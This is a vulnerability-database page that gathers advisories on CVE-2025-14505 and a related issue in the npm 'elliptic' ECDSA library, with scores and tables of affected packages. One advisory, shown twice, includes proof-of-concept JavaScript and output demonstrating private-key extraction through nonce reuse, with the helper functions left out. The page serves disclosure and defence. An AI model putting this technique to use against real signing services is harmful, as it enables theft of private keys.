Every CVE Search/ Get API key

CVE-2025-14505

Elliptic Cryptanalysis vulnerability when `k` has leading zeros

5.6 MediumFix available

The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.

This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
Low

Exploit likelihood

0.18%Up 0.2 points since Jan 9, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.6

Elliptic Cryptanalysis vulnerability when `k` has leading zeros

The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.

This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).

Record
CVE-2025-14505
CVSS 3.1
5.6 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-1240
Updated
2026-11-02
EUVDEUVD-2026-1445 5.6

The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.

This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).

Record
EUVD-2026-1445
CVSS 3.1
5.6 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-848j-6mx2-7j84 2.9

Elliptic Uses a Cryptographic Primitive with a Risky Implementation

The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.

This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).

Record
GHSA-848j-6mx2-7j84
CVSS 4.0
2.9 LowCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
CVSS 3.1
5.6 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-1240
Updated
2026-11-02
GitHub AdvisoriesGHSA-vjh7-7g9h-fjfh 9.0

Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)

Summary

Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input

Note that elliptic by design accepts hex strings as one of the possible input types

Details

In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107

msg is a BN instance after conversion, but nonce is an array, and different BN instances could generate equivalent arrays after conversion.

Meaning that a same nonce could be generated for different messages used in signing process, leading to k reuse, leading to private key extraction from a pair of signatures

Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction

While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still should not leak the private key

Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain

PoC

k reuse example

import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })

Full attack

This doesn't include code for generation/recovery on a purpose (bit it's rather trivial)

import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)

// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)

// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)

const something = extract(msg0, sig0, sig1, curve)

console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)

Output:

Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a

Similar for ed25519, but due to low n, the key might not match precisely but is nevertheless equivalent for signing:

Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6

restored is equal to orig mod N.

Impact

Full private key extraction when signing a single malicious message (that passes JSON.stringify/JSON.parse)

Record
GHSA-vjh7-7g9h-fjfh
CVSS 4.0
9.0 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
Weakness
CWE-200
Updated
2026-11-02
NVD 5.6

The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.

This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).

Record
CVE-2025-14505
CVSS 3.1
5.6 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-1240
Updated
2026-11-02
OSV 5.6

Elliptic Cryptanalysis vulnerability when `k` has leading zeros

The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.

This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).

Record
CVE-2025-14505
CVSS 3.1
5.6 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-1240
Updated
2026-11-02
Show 13 moreShow less
OSVDEBIAN-CVE-2025-14505 5.6

The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs. This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).

Record
DEBIAN-CVE-2025-14505
CVSS 3.1
5.6 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
Updated
2026-11-02
OSVGHSA-848j-6mx2-7j84 2.9

Elliptic Uses a Cryptographic Primitive with a Risky Implementation

The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.

This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).

Record
GHSA-848j-6mx2-7j84
CVSS 4.0
2.9 LowCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
CVSS 3.1
5.6 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-1240
Updated
2026-11-02
OSVGHSA-vjh7-7g9h-fjfh 9.0

Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)

Summary

Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input

Note that elliptic by design accepts hex strings as one of the possible input types

Details

In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107

msg is a BN instance after conversion, but nonce is an array, and different BN instances could generate equivalent arrays after conversion.

Meaning that a same nonce could be generated for different messages used in signing process, leading to k reuse, leading to private key extraction from a pair of signatures

Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction

While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still should not leak the private key

Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain

PoC

k reuse example

import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })

Full attack

This doesn't include code for generation/recovery on a purpose (bit it's rather trivial)

import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)

// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)

// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)

const something = extract(msg0, sig0, sig1, curve)

console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)

Output:

Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a

Similar for ed25519, but due to low n, the key might not match precisely but is nevertheless equivalent for signing:

Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6

restored is equal to orig mod N.

Impact

Full private key extraction when signing a single malicious message (that passes JSON.stringify/JSON.parse)

Record
GHSA-vjh7-7g9h-fjfh
CVSS 4.0
9.0 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
Weakness
CWE-200
Updated
2026-11-02
OSVROOT-APP-NPM-GHSA-vjh7-7g9h-fjfh 9.0

GHSA-vjh7-7g9h-fjfh in elliptic - Patched by Root

Root has patched GHSA-vjh7-7g9h-fjfh in the elliptic package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-GHSA-vjh7-7g9h-fjfh
CVSS 4.0
9.0 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
Updated
2026-11-06
OSVUBUNTU-CVE-2025-14505 5.6

The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs. This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).

Record
UBUNTU-CVE-2025-14505
CVSS 3.1
5.6 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
Updated
2026-11-02
OSVCLSA-2026-1772583206 No score

TuxCare security update for elliptic (1 CVE)

TuxCare rebuilt elliptic to address 1 CVE. Fixed in 6.6.1-tuxcare.1.

Record
CLSA-2026-1772583206
Updated
2026-11-02
OSVCLSA-2026-1773533797 No score

TuxCare security update for elliptic (1 CVE)

TuxCare rebuilt elliptic to address 1 CVE. Fixed in 6.6.0-tuxcare.1.

Record
CLSA-2026-1773533797
Updated
2026-11-02
OSVCLSA-2026-1781139210 No score

TuxCare security update for elliptic (9 CVEs)

TuxCare rebuilt elliptic to address 9 CVEs. Fixed in 6.4.1-tuxcare.1.

Record
CLSA-2026-1781139210
Updated
2026-11-02
OSVCLSA-2026-1781139211 No score

TuxCare security update for elliptic (7 CVEs)

TuxCare rebuilt elliptic to address 7 CVEs. Fixed in 6.5.4-tuxcare.1.

Record
CLSA-2026-1781139211
Updated
2026-11-02
OSVCLSA-2026-1781139212 No score

TuxCare security update for elliptic (7 CVEs)

TuxCare rebuilt elliptic to address 7 CVEs. Fixed in 6.5.5-tuxcare.1.

Record
CLSA-2026-1781139212
Updated
2026-11-02
OSVCLSA-2026-1789597571 No score

TuxCare security update for elliptic (1 CVE)

TuxCare rebuilt elliptic to address 1 CVE. Fixed in 6.6.0-tuxcare.2.

Record
CLSA-2026-1789597571
Updated
2026-11-02
OSVCLSA-2026-1793807095 No score

TuxCare security update for elliptic (2 CVEs)

TuxCare rebuilt elliptic to address 2 CVEs. Fixed in 6.5.1-tuxcare.3.

Record
CLSA-2026-1793807095
Updated
2026-11-04
OSVCLSA-2026-1793808177 No score

TuxCare security update for elliptic (2 CVEs)

TuxCare rebuilt elliptic to address 2 CVEs. Fixed in 6.5.3-tuxcare.3.

Record
CLSA-2026-1793808177
Updated
2026-11-04

Affected packages

Affected packages
PackageAffectedFixed
elliptic
npm
through 6.6.1 None known
elliptic
npm
through 6.6.0
6.6.1
elliptic
TuxCare:npm
6.6.1-tuxcare.0 up to 6.6.1-tuxcare.1, plus listed versions
6.6.1
6.6.1-tuxcare.1
elliptic
TuxCare:npm
6.6.0-tuxcare.0 up to 6.6.0-tuxcare.1, plus listed versions
6.6.0
6.6.0-tuxcare.1
elliptic
TuxCare:npm
From an advisory covering 8 CVEs
6.4.1-tuxcare.0 up to 6.4.1-tuxcare.1, plus listed versions
6.4.1
6.4.1-tuxcare.1
elliptic
TuxCare:npm
From an advisory covering 6 CVEs
6.5.4-tuxcare.0 up to 6.5.4-tuxcare.1, plus listed versions
6.5.4
6.5.4-tuxcare.1
elliptic
TuxCare:npm
From an advisory covering 6 CVEs
6.5.5-tuxcare.0 up to 6.5.5-tuxcare.1, plus listed versions
6.5.5
6.5.5-tuxcare.1
elliptic
TuxCare:npm
6.6.0-tuxcare.0 up to 6.6.0-tuxcare.2, plus listed versions
6.6.06.6.0-tuxcare.1
6.6.0-tuxcare.2
elliptic
TuxCare:npm
6.5.1-tuxcare.0 up to 6.5.1-tuxcare.3, plus listed versions
6.5.16.5.1-tuxcare.16.5.1-tuxcare.2
6.5.1-tuxcare.3
elliptic
TuxCare:npm
6.5.3-tuxcare.0 up to 6.5.3-tuxcare.3, plus listed versions
6.5.36.5.3-tuxcare.16.5.3-tuxcare.2
6.5.3-tuxcare.3
Show 13 moreShow less
Affected packages
PackageAffectedFixed
node-elliptic
Debian:12
All versions, plus listed versions
6.5.4~dfsg-26.5.7+dfsg-16.6.1+dfsg+~6.4.18-16.6.1+dfsg+~6.4.18-26.6.1+dfsg-1
None known
node-elliptic
Debian:13
All versions, plus listed versions
6.6.1+dfsg+~6.4.18-16.6.1+dfsg+~6.4.18-26.6.1+dfsg-1
None known
node-elliptic
Debian:14
before 6.6.1+dfsg+~6.4.18-2, plus listed versions
6.6.1+dfsg+~6.4.18-16.6.1+dfsg-1
6.6.1+dfsg+~6.4.18-2
elliptic
npm
before 6.6.1
6.6.1
elliptic
Root:npm
before 6.5.7-aikido.1
6.5.7-aikido.16.5.5-aikido.16.6.0-aikido.16.5.4-aikido.16.5.2-aikido.16.5.2-aikido.26.5.4-aikido.2
@rootio/elliptic
Root:npm
before 6.5.7-root.io.1
6.5.7-root.io.16.5.5-root.io.16.6.0-root.io.16.5.4-root.io.16.5.2-root.io.16.5.2-root.io.26.5.4-root.io.2
node-elliptic
Ubuntu:18.04:LTS
All versions, plus listed versions
6.4.0+dfsg-1
None known
node-elliptic
Ubuntu:20.04:LTS
All versions, plus listed versions
6.5.1~dfsg-16.5.1~dfsg-2
None known
node-elliptic
Ubuntu:22.04:LTS
All versions, plus listed versions
6.5.4~dfsg-1
None known
node-elliptic
Ubuntu:24.04:LTS
All versions, plus listed versions
6.5.4~dfsg-2
None known
node-elliptic
Ubuntu:25.10
All versions, plus listed versions
6.6.1+dfsg-1
None known
node-elliptic
Ubuntu:26.10
All versions, plus listed versions
6.6.1+dfsg+~6.4.18-16.6.1+dfsg+~6.4.18-2
None known
node-elliptic
Ubuntu:26.04:LTS
All versions, plus listed versions
6.6.1+dfsg-16.6.1+dfsg+~6.4.18-1
None known

History

History
RecordedChangedSources
affectedOSV
affected
affected, aliases, factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-14505 is a medium vulnerability (CVSS 5.6) in elliptic, published February 12, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 7th percentile. Fixed in elliptic 6.6.1.

References

Show 7 moreShow less
MoveEnter Open